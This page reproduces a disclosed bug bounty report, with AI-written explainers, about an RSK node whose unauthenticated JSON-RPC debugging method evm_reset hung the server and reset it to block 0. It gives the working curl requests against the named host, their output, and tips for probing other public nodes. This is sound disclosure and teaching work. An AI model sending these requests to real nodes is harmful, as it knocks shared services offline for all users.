Skip to content
DoS Disclosed report Beginner

JSON RPC methods for debugging enabled by default allow DoS

The JSON-RPC server exposed debugging methods such as evm_reset without authentication, and calling evm_reset caused the node to hang, return gateway timeouts, and reset its block number to zero. An attacker could disrupt service for all users.

teknogeek Follow

Originally disclosed on HackerOne

Medium 5.9 View original
  • Triaged in 4 hours
  • Fixed in 10 days
  • Paid in 47 hours
  • Disclosed after 5.0 years

Summary: Upon sending the JSON-RPC the evm_reset command, the RPC server hung, has gone slow, and is now on block 0.

Description: While testing the bounty RPC node, I was sending a variety of available commands I noticed in the source code. After sending the evm_reset command, the server hung, began responding slowly, started returning 504 Gateway Time-out's, and is now synced to block 0.

Steps To Reproduce:

  1. Run curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": {}, "id":1337}' https://bounty-node.rsk.co and observe the block number
  2. Run curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_reset", "params": {}, "id":1337}' https://bounty-node.rsk.co
  3. Response should hang

Supporting Material/References:

Below are snippets from my terminal session while I discovered this issue:

# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:14:19]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": [], "id":1337}' https://bounty-node.rsk.co
{"jsonrpc":"2.0","id":1337,"result":"0x437ca"}

# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:29:37]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_snapshot", "params": {}, "id":666}' https://bounty-node.rsk.co
{"jsonrpc":"2.0","id":666,"result":"0x1"}

# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:35:46]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_snapshot", "params": {}, "id":666}' https://bounty-node.rsk.co
{"jsonrpc":"2.0","id":666,"result":"0x2"}

# teknogeek at teknogeek-mbp in ~/Documents/BugBounties/HackerOne/RSK/rskj on git:6e45eaf6 ✖︎ [18:35:52]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_reset", "params": {}, "id":666}' https://bounty-node.rsk.co


^C
# teknogeek at teknogeek-mbp in ~ [18:41:34]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"web3_clientVersion", "params": {}, "id":1337}' https://bounty-node.rsk.co
{"jsonrpc":"2.0","id":1337,"result":"RskJ/0.4.0/Linux/Java1.8/BAMBOO-1192882"}

# teknogeek at teknogeek-mbp in ~ [18:41:37]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"web3_clientVersion", "params": {}, "id":1337}' https://bounty-node.rsk.co
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx</center>
</body>
</html>

# teknogeek at teknogeek-mbp in ~ [18:45:27]
→ curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": [], "id":1337}' https://bounty-node.rsk.co
{"jsonrpc":"2.0","id":1337,"result":"0x0"}

I also tested from multiple locations (VPS and locally) to confirm that this was not just a IP blacklist or connectivity issue on my end.

Impact

Loss of service and responsiveness to all users

The original report as published on HackerOne, by teknogeek. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 5 min read.

Context

Rootstock Labs runs a public bounty RPC node at bounty-node.rsk.co, exposing a JSON-RPC interface for the RSK network. The node is built on RskJ, and the researcher was working against the rskj source tree (checked out at commit 6e45eaf6) to see which JSON-RPC methods the server actually exposes. JSON-RPC methods are the normal way clients read chain state (eth_blockNumber), identify the client (web3_clientVersion) and, in development-oriented builds, manipulate an in-process EVM (evm_snapshot, evm_reset).

Setup

No account or special role was needed. The only precondition was network access to https://bounty-node.rsk.co and the ability to send HTTP POST requests with a JSON body, which the researcher did with curl from a terminal. The researcher noticed a variety of available commands in the source code. The researcher also tested from multiple locations, a VPS and locally, to rule out an IP blacklist or a connectivity problem on their own side.

Finding it

While testing the bounty RPC node, the researcher sent a variety of commands taken from the source code. Among them were the evm_* methods. Sending evm_reset produced an immediate and visible effect on the shared node: the server hung, began responding slowly, started returning 504 Gateway Time-out responses from nginx, and ended up synced to block 0. The block height is the clearest signal here: a node that reports 0x0 after previously reporting a real height is now synced to block 0.

Exploitation

Step 1: read the current block height

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": {}, "id":1337}' https://bounty-node.rsk.co

This is a baseline call. The method field selects eth_blockNumber, params is empty and id is an arbitrary request identifier echoed back in the response. In the terminal session the node answered with a real height:

JSON
{"jsonrpc":"2.0","id":1337,"result":"0x437ca"}

Step 2: take EVM snapshots

Before the destructive call, the researcher exercised evm_snapshot twice, roughly six minutes apart:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_snapshot", "params": {}, "id":666}' https://bounty-node.rsk.co

The first call returned snapshot identifier 0x1:

JSON
{"jsonrpc":"2.0","id":666,"result":"0x1"}

The second call returned 0x2:

JSON
{"jsonrpc":"2.0","id":666,"result":"0x2"}

Both succeeded, which shows that EVM methods were reachable on the public node.

Step 3: send evm_reset

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_reset", "params": {}, "id":666}' https://bounty-node.rsk.co

This request never produced a response. The terminal shows the command followed by a blank line and then ^C, meaning the researcher interrupted the hung curl by hand. The report's reproduction steps state the expected outcome plainly: the response should hang.

Step 4: observe the aftermath

The next call, about six minutes after the interrupt, was a client version query:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"web3_clientVersion", "params": {}, "id":1337}' https://bounty-node.rsk.co

It still answered, identifying the software and platform:

JSON
{"jsonrpc":"2.0","id":1337,"result":"RskJ/0.4.0/Linux/Java1.8/BAMBOO-1192882"}

Three seconds later the same request returned an nginx error page instead of JSON:

HTML
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx</center>
</body>
</html>

So the front-end proxy was still up, but the backend behind it was no longer answering within the proxy's timeout. Roughly four minutes later, the block height query from step 1 was repeated:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": [], "id":1337}' https://bounty-node.rsk.co

and the node replied:

JSON
{"jsonrpc":"2.0","id":1337,"result":"0x0"}

Block zero. The node had gone from 0x437ca to 0x0, with a period of hangs and gateway timeouts in between.

Root cause

The report does not include a code-level analysis, so the mechanism can only be described as likely. What the evidence shows is that the public RPC surface exposed the evm_* debugging methods, including evm_reset, and that invoking evm_reset reset the node's EVM state and left the server unresponsive. The evm_snapshot calls returning incrementing identifiers (0x1, then 0x2) confirm that these methods were not stubbed out or rejected but were actually executing against the node's state. The report does not state why the method was reachable on the public node. The nginx layer in front of the node did not prevent this: it only turned the backend's unresponsiveness into 504 responses after the fact.

Impact

As the researcher put it, loss of service and responsiveness to all users. The node stopped answering within the proxy timeout, served 504 Gateway Time-out pages, and its reported block height dropped to 0x0. Because the endpoint is shared, a single unauthenticated request affected every user of that node, not just the sender. The report does not describe persistence, recovery time or whether the state was restored, and it does not claim any effect on the wider RSK network beyond this node.

Fix

Variants to test

  1. Enumerate the method list from the client's source code and send each evm_*, debug_*, admin_*, personal_* and miner_* method to a public node. A positive result is a JSON response with a result field rather than a method-not-found error.
  2. Send evm_snapshot twice and compare the returned identifiers. Incrementing values show the method is executing and mutating state rather than being rejected.
  3. Send a state-changing method and then re-query eth_blockNumber or web3_clientVersion. A positive result is a hang, a 504 from the front-end proxy, or a block height that has dropped unexpectedly.
  4. Repeat the same requests from a second network location. A positive result is the same behaviour, which rules out a local connectivity or IP-blocking explanation.

Hunting notes

This class of bug hides wherever a node or service exposes a management or debugging interface alongside its public API, especially when the interface is enabled by default and the deployment is a shared, publicly advertised endpoint such as a bounty node. The useful recon signal is the client software and version returned by web3_clientVersion, which tells you which source tree to read for the full method list; from there, method names that sound like local development tools are worth trying. The researcher showed impact by keeping a before-and-after record: a baseline block height, the hanging request, the 504 page, and the same block height query returning 0x0, plus a repeat from a second location to exclude a local problem. That combination, a shared endpoint, an unauthenticated single request, and a visible loss of service and state, is what makes the case concrete.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 13 min read.

What happened, in plain words

A security researcher was looking at a public server run by Rootstock Labs at bounty-node.rsk.co. This server is part of the RSK network, a blockchain system. Think of a blockchain as a shared public ledger that many computers keep copies of, and a node as one of those computers that answers questions about the ledger.

The server offers a way for programs to talk to it, called a JSON-RPC interface. An interface like this is a bit like a restaurant menu: it lists the requests you are allowed to make, and the kitchen (the server) prepares an answer for each one. Some items on this menu are meant for ordinary customers, such as "what is the current block number?"

The researcher sent that staff-only request, called evm_reset. The server stopped responding, then started answering very slowly, then began returning error pages saying the request timed out. When the researcher asked for the block number again, the server said zero. In blockchain terms, the node was now synced to block 0, the very beginning.

Because this was a shared server, anyone using it at that moment was affected, not just the person who sent the request. The report was rated medium severity with a CVSS score of 5.9, and it was disclosed on 27 February 2023.

The pieces involved

Before the steps, here are the main parts, explained from scratch.

  • RPC and JSON-RPC: RPC stands for remote procedure call. It is a way for one program to ask another program to do something, as if calling a function inside it. JSON-RPC is a specific format for those calls: the request and the answer are written in JSON, a simple text format for structured data, using curly braces, quotes and colons. You can think of it as a standard order form: it has fields for what you want, any extra details, and an order number so you can match the reply to your request.
  • HTTP POST: the method a browser or tool uses to send data to a server. When you fill in a web form and press submit, that is usually a POST. Here it carries the JSON order form.
  • curl: a command-line tool for sending web requests. It is like a browser without a window: you type the request and it prints the server's answer in your terminal.
  • Node and block height: a node is a computer that keeps a copy of the blockchain and answers questions about it. The block height is how many blocks have been added to the chain so far. Block 0 is the very first block, the starting point. A node that suddenly reports block 0 has lost its progress.
  • EVM: the Ethereum Virtual Machine, the part of the software that actually runs the programs (smart contracts) stored on the chain. It keeps a kind of working memory of the current state.
  • Snapshot and reset: a snapshot is a saved copy of that working memory, like a save point in a video game. A reset throws the working memory away and starts again from the beginning.
  • nginx and 504: nginx is a web server often placed in front of another server as a kind of receptionist. It takes incoming requests and passes them to the server behind it. A 504 Gateway Time-out is the receptionist saying: I asked the back office, but nobody answered in time.
  • Uncontrolled Resource Consumption: the vulnerability class. It means a program can be made to use up more of something (time, memory, processing power) than it should, so that it stops working properly for everyone.

Setting up

No account, password or special permission was needed. The only requirements were:

  1. A network connection to https://bounty-node.rsk.co.
  2. A way to send HTTP POST requests with a JSON body, which the researcher did with curl in a terminal.
  3. A local copy of the server's source code, the rskj project, checked out at commit 6e45eaf6. Source code is the human-written instructions that make up the program. Reading it lets you see the full list of requests the server understands, including ones that are not advertised anywhere.

The researcher also repeated the tests from more than one place, a rented server (VPS) and their own machine, to rule out the possibility that the problem was on their side, such as their internet connection or their address being blocked.

Finding it

While testing the bounty node, the researcher sent a variety of commands taken from the source code. Among them were the evm_* methods, the family of commands for manipulating the EVM. Sending evm_reset had an immediate and visible effect on the shared node: the server hung, began responding slowly, started returning 504 Gateway Time-out responses from nginx, and ended up synced to block 0.

The block height is the clearest signal. A node that reports 0x0 after previously reporting a real height is now synced to block 0. The numbers in the responses are written in hexadecimal, a base-16 counting system common in computing; 0x437ca is a large number, and 0x0 is zero.

Step by step

Step 1: read the current block height

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": {}, "id":1337}' https://bounty-node.rsk.co

Line by line:

  • curl is the tool sending the request.
  • -s means silent: do not print progress information, only the answer.
  • -X POST says to use the POST method, the one for sending data.
  • -H "Content-Type: application/json" adds a header, a small piece of information attached to the request. This one tells the server that the body is JSON, so it knows how to read it.
  • -d '...' is the body, the actual order form.
  • Inside the body, "jsonrpc":"2.0" says which version of the JSON-RPC format is being used.
  • "method":"eth_blockNumber" is the item being ordered from the menu: tell me the current block number.
  • "params": {} is the empty list of extra details; this request needs none.
  • "id":1337 is an arbitrary order number. The server copies it into the reply so you can match the two up.
  • https://bounty-node.rsk.co is the address of the server.

This is a baseline call: it records the state of the node before anything unusual is done, so there is something to compare against later. In the terminal session the node answered with a real height:

JSON
{"jsonrpc":"2.0","id":1337,"result":"0x437ca"}

The result field holds the answer, and 0x437ca is the current block height in hexadecimal.

Step 2: take EVM snapshots

Before the destructive call, the researcher exercised evm_snapshot twice, roughly six minutes apart:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_snapshot", "params": {}, "id":666}' https://bounty-node.rsk.co

This is the same shape of request as before, with two changes: the method is now evm_snapshot, and the order number is 666. The method asks the server to save a copy of its current EVM state, like pressing save in a game.

The first call returned snapshot identifier 0x1:

JSON
{"jsonrpc":"2.0","id":666,"result":"0x1"}

The second call returned 0x2:

JSON
{"jsonrpc":"2.0","id":666,"result":"0x2"}

Why this matters: both succeeded, and the numbers went up. That already shows two things. First, development-oriented EVM methods were reachable on the public node, even though they were never meant for public use. Second, they were not simply ignored or refused; each snapshot got a new, higher identifier.

Step 3: send evm_reset

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"evm_reset", "params": {}, "id":666}' https://bounty-node.rsk.co

Same request again, now with the method evm_reset, which tells the server to throw away its EVM working state and start over. This request never produced a response. The terminal shows the command followed by a blank line and then ^C, which is what you type to interrupt a command that is stuck. In other words, the researcher stopped the hung curl by hand. The report's reproduction steps state the expected outcome plainly: the response should hang.

Step 4: observe the aftermath

The next call, about six minutes after the interrupt, was a client version query:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"web3_clientVersion", "params": {}, "id":1337}' https://bounty-node.rsk.co

This asks the server to identify itself: which software and version is running. It is a harmless question, useful for confirming the server is still alive and for learning what software to read the source code of. It still answered, identifying the software and platform:

JSON
{"jsonrpc":"2.0","id":1337,"result":"RskJ/0.4.0/Linux/Java1.8/BAMBOO-1192882"}

Three seconds later the same request returned an nginx error page instead of JSON:

HTML
<html>
<head><title>504 Gateway Time-out</title></head>
<body bgcolor="white">
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx</center>
</body>
</html>

This is a web page, not a JSON answer. It means the front-end proxy (nginx) was still up and able to reply, but the backend behind it was no longer answering within the proxy's time limit. The receptionist was still at the desk, but the back office had stopped picking up the phone.

Roughly four minutes later, the block height query from step 1 was repeated:

Bash
curl -s -X POST -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber", "params": [], "id":1337}' https://bounty-node.rsk.co

This is the same baseline question as before, so the answer can be compared directly. Note that params is now [], an empty list, rather than {}, an empty object; both are accepted here. The node replied:

JSON
{"jsonrpc":"2.0","id":1337,"result":"0x0"}

Block zero. The node had gone from 0x437ca to 0x0, with a period of hangs and gateway timeouts in between. The before-and-after comparison is what turns a vague "it felt slow" into a concrete finding.

Why it happened

The report does not include a code-level analysis, so the mechanism can only be described as likely. What the evidence shows is that the public RPC surface exposed the evm_* debugging methods, including evm_reset, and that invoking evm_reset reset the node's EVM state and left the server unresponsive. The evm_snapshot calls returning incrementing identifiers (0x1, then 0x2) confirm that these methods were not stubbed out or rejected but were actually executing against the node's state.

The report does not state why the method was reachable on the public node. An allowlist is a list of permitted items: if a request is not on the list, it is refused. Here there was no such list. The nginx layer in front of the node did not prevent this: it only turned the backend's unresponsiveness into 504 responses after the fact.

Impact

As the researcher put it, loss of service and responsiveness to all users. The node stopped answering within the proxy timeout, served 504 Gateway Time-out pages, and its reported block height dropped to 0x0. Because the endpoint is shared, a single unauthenticated request affected every user of that node, not just the sender. The report does not describe persistence, recovery time or whether the state was restored, and it does not claim any effect on the wider RSK network beyond this node.

Fix

Variants to test

These are ways to look for the same kind of problem elsewhere, written for someone starting out.

  1. Read the client's source code to list every method it supports, then send each evm_*, debug_*, admin_*, personal_* and miner_* method to a public node. A positive result is a JSON response with a result field rather than a method-not-found error. In plain terms: if the server answers the question instead of saying "I do not know that command", the command is switched on.
  2. Send evm_snapshot twice and compare the returned identifiers. Incrementing values show the method is executing and mutating state rather than being rejected. If the numbers go up, the server is really doing something, not just pretending.
  3. Send a state-changing method and then re-query eth_blockNumber or web3_clientVersion. A positive result is a hang, a 504 from the front-end proxy, or a block height that has dropped unexpectedly. This is the before-and-after trick again.
  4. Repeat the same requests from a second network location. A positive result is the same behaviour, which rules out a local connectivity or IP-blocking explanation. If it fails only from your home but works from a rented server, the problem is probably on your side.

Hunting notes

This class of bug hides wherever a node or service exposes a management or debugging interface alongside its public API, especially when the interface is enabled by default and the deployment is a shared, publicly advertised endpoint such as a bounty node. The useful recon signal is the client software and version returned by web3_clientVersion, which tells you which source tree to read for the full method list; from there, method names that sound like local development tools are worth trying.

The researcher showed impact by keeping a before-and-after record: a baseline block height, the hanging request, the 504 page, and the same block height query returning 0x0, plus a repeat from a second location to exclude a local problem. That combination, a shared endpoint, an unauthenticated single request, and a visible loss of service and state, is what makes the case concrete.

Glossary

  • API: a defined way for one program to ask another program to do something, like a menu of allowed requests.
  • Authentication: proving who you are before being allowed to do something, such as logging in with a password.
  • Allowlist: a list of things that are permitted; anything not on the list is refused.
  • Block: one entry in a blockchain, containing a batch of transactions.
  • Block height: how many blocks have been added to the chain so far; block 0 is the first.
  • Blockchain: a shared ledger kept in many copies by many computers, where entries are chained together.
  • Commit: a saved point in the history of a source code project, identified by a short code such as 6e45eaf6.
  • curl: a command-line tool for sending web requests and printing the answers.
  • CVSS: a standard scoring system for how serious a security flaw is, from 0 to 10.
  • DoS (denial of service): making a service stop working for its users, for example by exhausting its resources.
  • EVM (Ethereum Virtual Machine): the part of the software that runs the programs stored on the chain and keeps their working state.
  • Header: a small piece of extra information attached to a web request, such as the format of the body.
  • Hexadecimal: a base-16 way of writing numbers, common in computing, where values start with 0x.
  • HTTP POST: the web method used to send data to a server.
  • JSON: a simple text format for structured data, using curly braces, quotes and colons.
  • JSON-RPC: a standard way of writing remote procedure calls in JSON, with a method name, parameters and an identifier.
  • Method: the name of the operation being requested in a JSON-RPC call.
  • nginx: a web server often placed in front of another server to receive and forward requests.
  • Node: a computer that keeps a copy of a blockchain and answers questions about it.
  • Params: the extra details a JSON-RPC request carries, here an empty object or list.
  • Proxy: a server that sits in front of another and passes requests through to it.
  • Recon: the information-gathering phase of security testing, such as reading source code or asking a server what software it runs.
  • RPC (remote procedure call): asking another program to perform an operation, as if calling a function inside it.
  • RskJ: the software that runs an RSK node, written in Java.
  • RSK: a blockchain network that the node in this report belongs to.
  • Severity: a label for how serious a flaw is, here medium.
  • Snapshot: a saved copy of a program's working state, like a save point in a game.
  • Source code: the human-written instructions that make up a program.
  • 504 Gateway Time-out: an error from a front-end server saying the server behind it did not answer in time.
  • Uncontrolled Resource Consumption: a flaw where a program can be made to use up time, memory or processing power until it stops working properly.
  • VPS: a rented virtual server in a data centre, useful for testing from a different network location.

More by teknogeek

View all

1 more disclosed report, best first.

More from Rootstock Labs

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.